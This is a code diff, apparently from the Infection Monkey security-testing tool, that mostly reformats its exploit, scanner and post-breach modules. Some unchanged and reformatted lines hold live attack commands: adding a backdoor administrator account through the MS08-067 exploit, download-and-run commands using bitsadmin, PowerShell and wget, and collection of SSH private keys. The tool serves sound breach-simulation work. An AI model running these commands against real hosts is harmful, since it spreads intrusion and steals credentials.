a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -49,7 +49,7 @@ class LimitedSizePayload(Payload): "exceeds required length of command.") elif self.command == "": - return [self.prefix+self.suffix] + return [self.prefix + self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) commands = [self.get_payload(part) for part diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py index 23358a290..315216d5f 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -29,4 +29,3 @@ class TestPayload(TestCase): array2[1] == "prefix5678suffix" and len(array2) == 2) assert test1 and test2 - diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 51564518e..2507cff66 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.config import Configuration + __author__ = 'itamar' LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 1b5b9d75b..b894acf43 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -4,9 +4,10 @@ from posixpath import join from abc import abstractmethod from infection_monkey.exploit import HostExploiter -from infection_monkey.model import * from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \ + POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING @@ -256,7 +257,7 @@ class WebRCE(HostExploiter): if 'No such file' in resp: return False else: - LOG.info("Host %s was already infected under the current configuration, done" % str(host)) + LOG.info("Host %s was already infected under the current configuration, done" % str(self.host)) return True def check_remote_files(self, url): @@ -284,7 +285,7 @@ class WebRCE(HostExploiter): """ ports = self.get_open_service_ports(ports, names) if not ports: - LOG.info("All default web ports are closed on %r, skipping", str(host)) + LOG.info("All default web ports are closed on %r, skipping", str(self.host)) return False else: return ports @@ -461,7 +462,7 @@ class WebRCE(HostExploiter): """ src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Determine which destination path to use dest_path = self.get_monkey_upload_path(src_path) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index ac648012b..daccb4cfb 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,4 +1,3 @@ - import threading import logging import time @@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.network.info import get_free_tcp_port from http.server import BaseHTTPRequestHandler, HTTPServer - __author__ = "VakarisZ" LOG = logging.getLogger(__name__) @@ -34,7 +32,6 @@ HEADERS = { class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Weblogic' diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 7148ba965..4257677b0 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter): def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in list(self._windows_versions.keys()): + self.host.os.get('version') in list(self._windows_versions.keys()): return True if not self.host.os.get('type') or ( - self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): + self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() @@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add).encode()) + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add).encode()) time.sleep(2) reply = sock.recv(1000) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index a1da97efe..cc286bfcd 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter): password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) + creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \ + "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() @@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter): return success return False - diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 88b7f9fd9..928425535 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -1,5 +1,3 @@ - - import argparse import json import logging @@ -23,8 +21,11 @@ LOG = None LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, - 'formatters': {'standard': { - 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, + 'formatters': { + 'standard': { + 'format': + '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s' + }, }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 3e333a26d..e4cfea7a4 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -5,17 +5,20 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" -DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) +DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,) +MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' -DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' +DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,) +MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) +MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ + '/c %%(monkey_path)s %s"' % (MONKEY_ARG,) +DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ + 'file_path)s exit)) > NUL 2>&1 ' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ + "monkey_path)s\' -UseBasicParsing\" " WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" @@ -30,12 +33,12 @@ GET_ARCH_LINUX = "lscpu" # All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3af70c796..18edfbe82 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -182,7 +182,7 @@ class InfectionMonkey(object): if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server(get_interface_to_target(machine.ip_addr) + - (':'+self._default_server_port if self._default_server_port else '')) + (':' + self._default_server_port if self._default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py index c5ddef1aa..e64682501 100644 --- a/monkey/infection_monkey/monkeyfs.py +++ b/monkey/infection_monkey/monkeyfs.py @@ -34,7 +34,6 @@ class VirtualFile(BytesIO): return path in VirtualFile._vfs - def getsize(path): if path.startswith(MONKEYFS_PREFIX): return VirtualFile.getsize(path) @@ -53,6 +52,7 @@ def virtual_path(name): return "%s%s" % (MONKEYFS_PREFIX, name) +# noinspection PyShadowingBuiltins def open(name, mode='r', buffering=-1): # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths if name.startswith(MONKEYFS_PREFIX): diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index 16af673b1..3b0161bbb 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args): if value])), stdout=subprocess.PIPE) return cmd.stdout.read().strip().lower().endswith('ok.') + class FirewallApp(object): def is_enabled(self, **kwargs): return False @@ -24,7 +25,7 @@ class FirewallApp(object): def __enter__(self): return self - def __exit__(self, type, value, traceback): + def __exit__(self, exc_type, value, traceback): self.close() def close(self): @@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp): except: return None - def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs): + def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs): netsh_args = {'name': name, - 'dir': dir, + 'dir': direction, 'action': action, 'program': program} netsh_args.update(kwargs) @@ -83,9 +84,9 @@ class WinAdvFirewall(FirewallApp): for rule in list(self._rules.values()): if rule.get('program') == sys.executable and \ - 'in' == rule.get('dir') and \ - 'allow' == rule.get('action') and \ - 4 == len(list(rule.keys())): + 'in' == rule.get('dir') and \ + 'allow' == rule.get('action') and \ + 4 == len(list(rule.keys())): return True return False diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 30292d99f..935d397d9 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -39,7 +39,7 @@ class HTTPFinger(HostFinger): ssl = True if 'https://' in url else False self.init_service(host.services, ('tcp-' + port[1]), port[0]) host.services['tcp-' + port[1]]['name'] = 'http' - host.services['tcp-' + port[1]]['data'] = (server,ssl) + host.services['tcp-' + port[1]]['data'] = (server, ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index cc198312c..6b9c5811e 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -13,9 +13,13 @@ from requests import ConnectionError from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os - # Timeout for monkey connections TIMEOUT = 15 +LOOPBACK_NAME = b"lo" +SIOCGIFADDR = 0x8915 # get PA address +SIOCGIFNETMASK = 0x891b # get network PA mask +RTF_UP = 0x0001 # Route usable +RTF_REJECT = 0x0200 def get_host_subnets(): @@ -43,31 +47,20 @@ def get_host_subnets(): if is_windows_os(): - def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - def get_routes(): raise NotImplementedError() - else: from fcntl import ioctl - def local_ips(): valid_ips = [network['addr'] for network in get_host_subnets()] return valid_ips - def get_routes(): # based on scapy implementation for route parsing - LOOPBACK_NAME = b"lo" - SIOCGIFADDR = 0x8915 # get PA address - SIOCGIFNETMASK = 0x891b # get network PA mask - RTF_UP = 0x0001 # Route usable - RTF_REJECT = 0x0200 - try: f = open("/proc/net/route", "r") except IOError: diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index e6130732d..623b7368f 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__) class MSSQLFinger(HostFinger): - # Class related consts SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index bf215168e..b76db8ad3 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = '' def __init__(self): @@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger): if not "win32" == sys.platform: timeout /= 1000 - sub_proc = subprocess.Popen(["ping", - PING_COUNT_FLAG, - "1", - PING_TIMEOUT_FLAG, - str(timeout), host.ip_addr], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True) + sub_proc = subprocess.Popen( + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) output = " ".join(sub_proc.communicate()) regex_result = self._ttl_regex.search(output) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 8a267e9d1..7224e032c 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -30,7 +30,7 @@ class Packet: return b"".join(content_list) -##### SMB Packets ##### +# SMB Packets class SMBHeader(Packet): fields = odict([ ("proto", b"\xff\x53\x4d\x42"), @@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet): ("capabilities", b"\xd4\x00\x00\xa0"), ("bcc1", ""), ("Data", - b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), + b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" + b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" + b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" + b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" + b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), ]) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 2ea88842f..3df936672 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -11,7 +11,6 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = 'unknown(TCP)' def __init__(self): @@ -25,7 +24,8 @@ class TcpScanner(HostScanner, HostFinger): Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration. :param host: VictimHost structure :param only_one_port: Currently unused. - :return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive. + :return: T/F if there is at least one open port. + In addition, the host object is updated to mark those services as alive. """ # maybe hide under really bad detection systems diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 09c8d4796..074e31460 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -13,4 +13,3 @@ class BackdoorUser(PBA): POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 89417757d..3438eccda 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -27,6 +27,7 @@ class UsersPBA(PBA): """ Defines user's configured post breach action. """ + def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 73b8a3221..57bf0aaf7 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1064_telem import T1064Telem - LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' @@ -19,6 +18,7 @@ class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index b5dfa93c7..78ee4ad42 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -16,6 +16,7 @@ class PostBreach(object): """ This class handles post breach actions execution """ + def __init__(self): self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list() diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py index d169bda6a..3e2bed17e 100644 --- a/monkey/infection_monkey/pyinstaller_utils.py +++ b/monkey/infection_monkey/pyinstaller_utils.py @@ -1,7 +1,6 @@ import os import sys - __author__ = 'itay.mizeretz' diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index 60c509fc6..31afdb8ed 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -63,7 +63,7 @@ class SSHCollector(object): LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info['public_key'] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index ab8e0f7ba..7d4395af7 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__) try: WindowsError except NameError: + # noinspection PyShadowingBuiltins WindowsError = psutil.AccessDenied __author__ = 'uri' diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index 831b10ba1..fb38f84c4 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector): super(LinuxInfoCollector, self).get_info() self.info['ssh_info'] = SSHCollector.get_info() return self.info - diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 08ca6ff29..1419478db 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,6 +1,7 @@ import os import logging import sys + sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config @@ -35,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - #self.get_wmi_info() + # TODO: Think about returning self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index a87e297d9..a42472b82 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", "DS_whenChanged", "DS_whenCreated"), } - diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 485a9253e..f82e7be44 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration - __author__ = 'itamar' LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 735ef670a..25509ef85 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ from infection_monkey.transport.http import HTTPServer, LockedHTTPServer - __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index e6a5bc366..a02d86708 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -27,4 +27,4 @@ def update_last_serve_time(): def get_last_serve_time(): global g_last_served - return g_last_served \ No newline at end of file + return g_last_served diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index eb1e5d355..7650cb229 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): self.send_error(500, "") return None, 0, 0 - f = None try: f = monkeyfs.open(self.filename, 'rb') except IOError: @@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): self.end_headers() return f, start_range, end_range - def log_message(self, format, *args): + def log_message(self, format_string, *args): LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), self.log_date_time_string(), - format % args)) + format_string % args)) class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): @@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): def do_CONNECT(self): # just provide a tunnel, transfer the data with no modification req = self - reqbody = None req.path = "https://%s/" % req.path.replace(':443', '') u = urlsplit(req.path) @@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): update_last_serve_time() conn.close() - def log_message(self, format, *args): + def log_message(self, format_string, *args): LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" % - (self.address_string(), self.log_date_time_string(), format % args)) + (self.address_string(), self.log_date_time_string(), format_string % args)) class HTTPServer(threading.Thread): diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index e910e657f..22cff5d4a 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -41,13 +41,13 @@ class SocketsPipe(Thread): except: break self._keep_connection = True - + self.source.close() self.dest.close() class TcpProxy(TransportProxyBase): - + def run(self): pipes = [] l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py index 68148d9e9..b2f29db85 100644 --- a/monkey/infection_monkey/utils/users.py +++ b/monkey/infection_monkey/utils/users.py @@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password): linux_cmds = get_linux_commands_to_add_user(username) windows_cmds = get_windows_commands_to_add_user(username, password) return linux_cmds, windows_cmds - - diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 38af31bde..be2430dda 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,11 +1,8 @@ import os import uuid -from datetime import datetime -import bson import flask_restful -from bson.json_util import dumps -from flask import Flask, send_from_directory, make_response, Response +from flask import Flask, send_from_directory, Response from werkzeug.exceptions import NotFound from monkey_island.cc.auth import init_jwt @@ -29,19 +26,19 @@ from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.version_update import VersionUpdate -from monkey_island.cc.services.database import Database -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport +from monkey_island.cc.services.database import Database +from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService +from monkey_island.cc.services.representations import output_json +from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.resources.test.monkey_test import MonkeyTest from monkey_island.cc.resources.test.log_test import LogTest __author__ = 'Barak' - HOME_FILE = 